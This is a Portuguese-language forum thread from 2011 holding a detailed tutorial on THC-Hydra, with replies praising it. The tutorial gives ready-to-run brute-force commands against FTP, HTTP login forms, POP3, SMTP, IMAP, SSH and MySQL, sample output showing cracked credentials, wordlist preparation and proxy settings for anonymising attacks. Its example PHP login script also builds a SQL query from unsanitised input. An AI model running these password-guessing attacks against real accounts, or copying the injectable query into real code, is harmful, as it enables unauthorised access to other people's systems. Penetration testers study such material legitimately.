Página 1 de 2 12 ÚltimoÚltimo
Resultados 1 a 10 de 12
  1. #1

    Cool Tutorial 2.0 - Thc-Hydra

    TUTORIAL BASICO THC-HYDRA [PT-BR] Ver 2.0

    - Por : MDH3LL
    - Contato : mdh3ll@gmail.com
    - Data : Dom 16 Out 2011 17:48:16 BRST.
    - Tutorial Ver : 2.0

    ----------------------------------------------------------------------------
    INDICE :
    ----------------------------------------------------------------------------
    [0x00] - Sobre THC-Hydra.
    [0x01] - Compilando THC-HYDRA no Linux.

    + Bibliotecas suplementares.
    + Conhecendo o PW-Inspector sem muitos detalhes.
    + Tratando wordlist sem usar o PW-Inspector.
    [0x02] - Opções Hydra.
    [0x03] - Exemplos Hydra.

    + Exemplo FTP
    + Exemplo http-head
    + Exemplo http-post-form
    + Exemplo http-get-form
    + Exemplo POP3
    + Exemplo SMTP
    + Exemplo IMAP
    + Exemplo SSH
    + Exemplo MYSQL
    [0x04] - Proxy.
    ----------------------------------------------------------------------------

    [0x00] Sobre THC-Hydra

    * THC-Hydra: Open Source/Multiplataforma/
    * Desenvolvido por uma organização Alemã chamada "The Hacker's Choice"(THC).
    * O Programa pode ser adquirido gratuitamente no site oficial do projeto : http://www.thc.org/thc-hydra/

    Hydra usa um mecanismo de FORÇA BRUTA/BRUTE FORCE (ou busca exaustiva):
    Este tipo de ataque consiste em fazer o programa trabalhar exaustivamente
    tentando combinações de senhas e nomes de usuários até chegar
    ao seu objetivo obvio.

    Serviços suportados (v 7.1) :

    AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET,
    HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,
    HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP,
    MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere,
    PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP,
    SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2),
    Telnet, VMware-Auth, VNC and XMPP.

    [0x01] Compilando THC-HYDRA no Linux :

    baixar source, descompactar , entrar no diretório criado :
    Código:
    $ wget http://www.thc.org/releases/hydra-7.1-src.tar.gz
    $ tar -vzxf hydra-7.1-src.tar.gz
    $ cd hydra-7.1-src/
    Configurações opcionais :
    --disable-xhydra não compila o xhydra (hydra GUI)
    --prefix=/opt/hydra diz onde vai ser instalado o hydra.

    Código:
    $ ./configure --disable-xhydra --prefix=/opt/hydra
    compilar, instalar e cria link simbólico :
    Código:
    # make && make install && ln -s /opt/hydra/hydra /usr/bin
    caso queira usar o pw-inspector criar um link simbólico pra ele também :
    Código:
    # ln -s /opt/hydra/pw-inspector /usr/bin
    Bibliotecas suplementares THC-HYDRA no Linux :

    Para usar módulos como (ssh|mysql) é preciso instalar bibliotecas suplementares.

    O módulo mysql pode ser instalado direto dos repositórios de qualquer debian-like.
    Código:
    # apt-get install libmysqlclient-dev
    Para o modulo ssh segue os passos que usei no debian 6.
    (As versões 0.5.* da lib ssh não funcionou - este foi o motivo
    que usei a versão 0.4.0)
    Código:
    # apt-get install cmake openssl zlib build-essential
    $ wget http://www.libssh.org/files/0.4/libssh-0.4.0.tar.gz
    $ tar -vzxf libssh-0.4.0.tar.gz && cd libssh-0.4.0
    $ mkdir build && cd build
    $ cmake -DWITH_SSH1=ON -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/usr ..
    # make && make install
    Depois basta compilar o hydra novamente :
    Código:
    $ wget http://www.thc.org/releases/hydra-7.1-src.tar.gz
    $ tar -vzxf hydra-7.1-src.tar.gz
    $ cd hydra-7.1-src/
    $ ./configure --disable-xhydra --prefix=/opt/hydra
    # make && make install
    PW-Inspector :

    PW-Inspector é um utilitário que vem ao pacote hydra que serve exclusivamente
    para tratar wordlists conforme os paramentos passados.

    rode o 'pw-inspector' no terminal :

    ************************************************** ******************************
    Options:
    -i FILE file to read passwords from (default: stdin)
    -o FILE file to write valid passwords to (default: stdout)
    -m MINLEN minimum length of a valid password
    -M MAXLEN maximum length of a valid password
    -c MINSETS the minimum number of sets required (default: all given)
    Sets:
    -l lowcase characters (a,b,c,d, etc.)
    -u upcase characters (A,B,C,D, etc.)
    -n numbers (1,2,3,4, etc.)
    -p printable characters (which are not -l/-n/-p, e.g. $,!,/,(,*, etc.)
    -s special characters - all others not withint the sets above
    ************************************************** ******************************

    Segue as opções :

    -i FILE nome da wordlist que sera tratada (default: stdin).
    -o FILE nome para o arquivo saída para a wordlist já tratada (default: stdout).
    -m Tamanho minimo da senha.
    -M Tamanho máximo da senha.
    -c MINISETS número minimo de sets necessários.

    Sets:
    -l Caracteres minúsculos (a,b,c,d, etc.)
    -u Caracteres maiúsculos (A,B,C,D, etc.)
    -n Números (1,2,3,4, etc.)
    -p Aqui são os caracteres que não se encaixam -l/-u/-n em são eles $,!,/,(,*, etc.)
    -s Caracteres especiais - são todos que não encaixam em nenhum dos sets acima.

    Exemplos :

    Criar wordlist suja para os testes :
    Código:
    $ perl -le 'print map { ("a".."z", "A".."Z", 0..9)[rand 62] } 1..rand 10 for 1..100000' >> wordlist_suja.txt
    Usando o pw-inspector para criar um nova wordlist contendo senhas com o comprimento 6 a 8.
    Código:
    $ pw-inspector -i wordlist_suja.txt -o wordlist_limpa.txt -m 6 -M 8
    Direcionar saída padrão (stdout) para o sort ordenar a wordlist :
    Código:
    $ pw-inspector -i wordlist_suja.txt -m 6 -M 8 | sort >> wordlist_limpa_sort.txt
    Redirecionando conteúdo ordenado para a entrada padrão (stdin) :
    Código:
    $ sort wordlist_suja.txt | pw-inspector -m 6 -M 8 >> wordlist_limpa_sort.txt
    Obvio que neste caso abaixo não vai pegar nada se a wordlist_suja.txt foi criada
    usando o script em perl acima porque obriguei o pw-inspector a pegar apenas
    senhas que contenham os 2 sets (números e caracteres especiais que não existe na wordlist_suja.txt).
    Código:
    $ sort wordlist_suja.txt | pw-inspector -m 4 -M 4 -c 2 -n -s
    Se o número minimo fosse setado para 1 pegaria as senhas que contém caracteres do "set" -n.

    Tratando wordlist sem usar o PW-Inspector.

    Particularmente prefiro tratar as wordlists sem usar o pw-inspector que não
    atende as minhas necessidades.

    Os exemplos abaixo usam comandos simples que qualquer usuário Linux deveria conhecer.

    Juntando wordlists :
    Código:
    cat wordlist_1.txt wordlist_2.txt wordlist_3.txt >> wordlist_final.txt
    Ordenando e removendo senhas duplicadas :
    Código:
    $ sort wordlist_suja.txt | uniq -u
    Pegando senhas com o comprimento 2 a 4 contento apenas números :
    Código:
    $ sort wordlist_suja.txt | grep -P "^[0-9]{6,8}$"
    Pegando senhas [a-z0-9] com apenas 6 caracteres :
    Código:
    $ sort wordlist_suja.txt | grep -P "^[a-z0-9]{6}$"
    Pegando senhas [a-zA-Z] com qualquer comprimento,
    removendo senhas duplicadas e jogando para uma nova lista chamada wordlist_mdh3ll.txt :
    Código:
    $ sort wordlist_suja.txt | grep -P "^[a-zA-Z]*$" | uniq -u >> wordlist_mdh3ll.txt
    ou
    $ sort wordlist_suja.txt | grep -Pi "^[a-z]*$" | uniq -u >> wordlist_mdh3ll.txt
    Pegando senhas que comece com "1" e termine com "w" :
    Código:
    $ cat wordlist_suja.txt | grep -P "^1.*w$"
    Convertendo caracteres maiúsculos para minúsculos :
    Código:
    $ cat wordlist_suja.txt | tr '[:upper:]' '[:lower:]' >> wordlist_minusculo.txt
    ou
    $ perl -ne 'print lc $_' wordlist_suja.txt
    [0x02] Opções hydra :

    -R Restaura sessões abordadas/quebradas.
    -S Realiza conexão segura usando SSL caso seja necessário.
    -s Especifica o número da porta usada para estabelecer a conexão
    -l Especifica Nome|login da vitima.
    -L Carrega uma lista contendo nomes|logins de vitimas (1 por linha).
    -p Especifica senha.
    -P Carrega uma lista com senhas (1 por linha).

    -x MIN:MAX:CHARSET Gerador de senhas
    Opções de geração :

    * MIN - número minimo de caracteres gerados.
    * MAX - número máximo de caracteres gerados.
    * CHARSET - especifica os sets de caracteres.

    a - letras minusculas.
    A - letras maiúsculas.
    1 - números.
    para qualquer outro use o caractere pertencente.

    Exemplos :
    -x 3:5:a Gera senha com o comprimento [3-5] contendo caracteres [a-z].
    -x 5:8:A Gera senha com o comprimento [5-8] contendo caracteres [A-Z].
    -x 5:8:A1 Gera senha com o comprimento [5-8] com caracteres [A-Z0-9]
    -x 1:3:/ Gera senha com o comprimento [1-3] contendo apenas / barra.
    -x 1:3:/%,.- Gera senha com o comprimento [1-3] contendo / % , . -

    -e nsr 'n' testa senha em branco / 's' testa user como pass / 'r' testa senha invertida
    -u Não sei como isto funciona.
    -C Usado para carregar um arquivo contendo usuário:senha (equivale a -L/-P).
    -M Carrega lista de servidores para ataque paralelo, um por linha.
    -o Salva as senhas encontradas dentro do arquivo especificado.
    -f Faz o programa parar de trabalhar quando a senha ou usuário for encontrado.
    -t Limita o número de conexões paralelas (default: 16).
    -w/-W Define o tempo máximo em segundos para esperar resposta (default: 30s).
    -4/-6 preferir endereços IPv4 (default) ou endereços IPv6.
    -v/-V Modo [-v]erbose normal / [-V]erbose detalhado.
    -U Detalhes do modulo especificado.

    Server: Servidor alvo.
    Exemplos:
    127.0.0.1
    localhost
    pop.gmail.com
    pop.mail.yahoo.com.br
    pop3.live.com

    Service: serviço/modulo/protocolo.
    Exemplos:
    pop3
    ftp
    smtp
    vnc
    imap
    http-head
    http-post-form
    http-get-form

    [0x03] Exemplos:

    Exemplo FTP



    Sintaxe:
    Código:
    hydra -l root -P pass.txt -w 15 localhost ftp
    Saída:
    ************************************************** ******************************
    Hydra (http://www.thc.org/thc-hydra) starting at 2011-09-11 12:25:52
    [DATA] 16 tasks, 1 server, 46 login tries (l:1/p:46), ~2 tries per task
    [DATA] attacking service ftp on port 21
    [21][ftp] host: 127.0.0.1 login: nobody password: culture123
    [STATUS] attack finished for localhost (waiting for children to finish)
    1 of 1 target successfuly completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2011-09-11 12:25:53
    ************************************************** ******************************
    Encontrou :
    [21][ftp] host: 127.0.0.1 login: nobody password: culture123

    Exemplo http-head



    Sintaxe:
    Código:
    hydra -L users.txt -P pass.txt -o out.txt localhost http-head /colt/
    Saída:
    ************************************************** ******************************
    Hydra (http://www.thc.org/thc-hydra) starting at 2011-09-11 12:19:16
    [DATA] 16 tasks, 1 server, 46 login tries (l:1/p:46), ~2 tries per task
    [DATA] attacking service http-head on port 80
    [80][www] host: 127.0.0.1 login: lampp password: culture123
    [STATUS] attack finished for localhost (waiting for children to finish)
    1 of 1 target successfuly completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2011-09-11 12:19:16
    ************************************************** ******************************
    O Hydra encontrou usuario:lampp senha:culture123 e salvou no arquivo out.txt

    Exemplo http-post-form

    Sintaxe : <url>:<form parameters>:<condition string>[:<optional>[:<optional>]




    Código fonte do index.html ilustrativo :
    http://127.0.0.1/login/index.html
    Código HTML:
    <html> 
    <head><title>Login</title></head> 
    <body>
    <form method="POST" action="logar.php"> 
            <p> Nome </p></BR>
            <input type="text" name="user"></br> 
            <p> Senha </p></BR>
            <input type="password" name="pass"></br> 
            <input type="submit" name="enviar" value="Enviar"> 
    </form> 
    </body> 
    </html>
    logar.php ilustrativo :
    Código PHP:
    <?
            
    # logar.php ilustrativo
            
    $user $_POST['user'];
            
    $pass $_POST['pass'];

            if(
    $user == "admin" && $pass == "culture123"){
                    echo 
    "Logado com sucesso!";
            }else{
                    echo 
    "Usuario ou senha invalida!";
            }
    ?>
    Sintaxe simples fica assim :
    Código:
    hydra -l admin -P pass.txt -o out.txt -t 1 -f 127.0.0.1 http-post-form "/login/logar.php:user=^USER^&pass=^PASS^:Usuario ou senha invalida"
    Para criar a sintaxe a partir do http-post-form foi preciso :

    Valor do atributo action do <form> : logar.php
    Valor do atributo referente ao nome e senha de usuário nas tags <input> dentro do <form>: name , pass
    Mensagem de erro ou parte dela: Usuario ou senha invalida

    É possível usar uma mensagem de sucesso
    adicionando S= antes da mensagem de sucesso :
    Código:
    hydra -l admin -P pass.txt -o out.txt -t 1 -f -w 15 127.0.0.1 http-post-form "/login/logar.php:user=^USER^&pass=^PASS^:S=Logado com sucesso"
    Saída:
    ************************************************** ******************************
    Hydra (http://www.thc.org/thc-hydra) starting at 2011-09-11 12:51:14
    [DATA] 1 task, 1 server, 47 login tries (l:1/p:47), ~47 tries per task
    [DATA] attacking service http-post-form on port 80
    [80][www-form] host: 127.0.0.1 login: admin password: culture123
    [STATUS] attack finished for 127.0.0.1 (valid pair found)
    1 of 1 target successfuly completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2011-09-11 12:51:14
    ************************************************** ******************************
    Para detalhes execute ./hydra -U http-post-form

    Exemplo http-get-form

    http-get-form vai seguir o mesmo esquema da sintaxe do http-post-form.

    index.html ilustrativo (http://127.0.0.1/index.html)
    Código HTML:
    <html> 
    <head><title>Login</title></head> 
    <body>
    <form method="GET" action="enviar.php"> 
            <p> Nome </p></BR>
            <input type="text" name="tx_nome"></br> 
            <p> Senha </p></BR>
            <input type="password" name="tx_senha"></br> 
            <input type="submit" name="go" value="Go"> 
    </form> 
    </body> 
    </html>
    continua...

  2. #2

    continuação

    enviar.php ilustrativo (http://127.0.0.1/enviar.php)
    Código PHP:
    <?php
            
    # eviar.php ilustrativo
            
    require_once('conectar.php');

            
    $user $_GET['tx_nome'];
            
    $pass $_GET['tx_senha'];

            
    $pass md5($pass);
            
    $pesquisa MYSQL_QUERY("select usuario,senha from TBLogin where usuario = \"$user\" AND senha = \"$pass\"");
            
    $resultado mysql_num_rows($pesquisa);
            if(
    $resultado == 1){
                    echo 
    "Logado com sucesso";
            }else{
                    echo 
    "Algo esta errado";
            }
    ?>
    Sintaxe para este caso fica assim :
    Código:
    hydra -l admin -P pass.txt -o out.txt -t 1 -f 127.0.0.1 http-get-form "enviar.php:user=^USER^&pass=^PASS^:Algo esta errado"
    Exemplo POP3

    Sintaxe:
    Código:
    hydra -L users.txt -p 123456 -S pop3.dominio.com pop3
    Saída:
    ************************************************** ******************************
    Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
    Hydra (http://www.thc.org) starting at 2010-01-28 00:55:28
    [DATA] 9 tasks, 1 servers, 9 login tries (l:9/p:1), ~1 tries per task
    [DATA] attacking service pop3 on port 110
    [STATUS] attack finished for pop3.xxx.com (waiting for childs to finish)
    [110][pop3] host: pop3.dominio.com login: user@dominio.com.br password: 123456
    ************************************************** ******************************

    Exemplo SMTP

    Sintaxe :
    Código:
    hydra -l admin@dominio.com -P pass.txt smtp.mail.dominio.com smtp
    Saída:
    ************************************************** ******************************
    Hydra (http://www.thc.org/thc-hydra) starting at 2011-10-11 15:06:54
    [DATA] 4 tasks, 1 server, 4 login tries (l:1/p:4), ~1 try per task
    [DATA] attacking service smtp on port 25
    [25][smtp] host: xxx.xxx.xxx.xxx login: admin@dominio.com password: cabal12ea13
    ************************************************** ******************************

    Exemplo IMAP

    Sintaxe :
    Código:
    hydra -l nobody@dominio.com -P pass.txt -S imap.dominio.com imap
    Saída:
    ************************************************** ******************************
    Hydra (http://www.thc.org/thc-hydra) starting at 2011-10-11 20:46:33
    [DATA] 5 tasks, 1 server, 5 login tries (l:1/p:5), ~1 try per task
    [DATA] attacking service imap on port 993
    [993][imap] host: xx.xxx.xx.xxx login: nobody@dominio.com password: love1234
    [STATUS] attack finished for imap.dominio.com (waiting for children to finish)
    1 of 1 target successfuly completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2011-10-11 20:46:37
    ************************************************** ******************************

    Exemplo SSH



    Sintaxe :
    Código:
    hydra -l teste -x 6:6:1 -s 22 192.168.1.4 ssh
    Saída :
    ************************************************** ******************************
    Hydra (http://www.thc.org/thc-hydra) starting at 2011-10-13 16:44:47
    [DATA] 16 tasks, 1 server, 1000000 login tries (l:1/p:1000000), ~62500 tries per task
    [DATA] attacking service ssh on port 22
    [22][ssh] host: 192.168.1.4 login: teste password: 000138
    [STATUS] attack finished for 192.168.1.4 (waiting for children to finish)
    1 of 1 target successfuly completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2011-10-13 16:45:26
    ************************************************** ******************************

    Exemplo MYSQL

    Sintaxe :
    Código:
    hydra -l root -P pass.txt -t 4 127.0.0.1 mysql
    Saida :
    ************************************************** ******************************
    Hydra (http://www.thc.org/thc-hydra) starting at 2011-10-14 19:09:23
    [DATA] 4 tasks, 1 servers, 32 login tries (l:1/p:32), ~8 tries per task
    [DATA] attacking service mysql on port 3306
    [3306][mysql] host: 127.0.0.1 login: root password: Password01
    [STATUS] attack finished for 127.0.0.1 (waiting for childs to finish)
    1 of 1 target successfuly completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2011-10-14 19:09:32
    ************************************************** ******************************

    [0x04] Proxy:

    proxy web:
    HYDRA_PROXY_HTTP="http://123.45.67.89:8080/"

    para qualquer outro use : HYDRA_PROXY_CONNECT
    HYDRA_PROXY_CONNECT=proxy.anonymizer.com:8000

    com autentificação :
    HYDRA_PROXY_AUTH="nome:senha"

  3. #3
    Algumas linhas ficaram sem coerência e com erros grotescos :/
    eu não revisei porque o tutorial deu muito trabalho pra escrever! suhsuhsus... os erros de digitação e coerência são feios + não matam!

  4. #4
    Moderador Avatar de Marcelo Moraes
    Data de Ingresso
    May 2007
    Localização
    localhost
    Posts
    578
    Salve mdh3ll ,

    Tutorial de ótima qualidade cara parabéns, fazia tempo que não via um assim bem completo.

    Hydra simplesmente uma ferramenta fantástica quando se trata de Brute Force.

    Abraços,
    att,
    Marcelo Moraes.

  5. #5
    Citação Postado originalmente por Marcelo Moraes Ver Post
    Salve mdh3ll ,

    Tutorial de ótima qualidade cara parabéns, fazia tempo que não via um assim bem completo.

    Hydra simplesmente uma ferramenta fantástica quando se trata de Brute Force.

    Abraços,
    att,
    Marcelo Moraes.
    Vlw Marcelo! fico feliz que gostou do tutorial
    tentei deixar o mais completo possível sem ficar dando rodeios.

  6. #6
    Moderador Avatar de eduardu0
    Data de Ingresso
    Feb 2007
    Posts
    979
    Simplesmente fantástico!
    Pense em uma frase bonita.

  7. #7
    Excelente o texto, MDH3LL.
    Muito bem explicado e escrito.
    Realmente o Hydra é uma ferramenta fantástica.

    Obs: Gostei das suas ilustrações em ASCII.

    []'s
    B0b0_d4_c0rt3

  8. #8
    White Hat Administrador Avatar de fvox
    Data de Ingresso
    Sep 2005
    Localização
    São Paulo - SP
    Posts
    4.428
    Hi.

    Matéria boa demais, cara.
    Tópico bom é assim... Bem escrito, bem formatado, bem ilustrado.

    []'s
    Acha que está caindo na insanidade? Mergulhe!

    Twitter | Blog | Facebook | Github

  9. #9
    Moderador Avatar de M4CK
    Data de Ingresso
    Jul 2007
    Posts
    2.809
    Opa !
    Parabéns cara, muito bem explicado.
    Obrigado pelas constantes contribuições que vem oferecendo aos membros da comunidade.

  10. #10
    Administrador Administrador Avatar de souzadc
    Data de Ingresso
    Jan 2005
    Localização
    BA - Salvador Capital City
    Posts
    5.867
    Cara,

    Excelente materia. Parabéns e continue colaborando conosco.

    Sem mais!!!!!!
    ==>

    Dúvidas somente no fórum, NÃO respondo via MP's, MSN, Orkut, E-mail e afins. Obrigado!

Tags para este Tópico

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •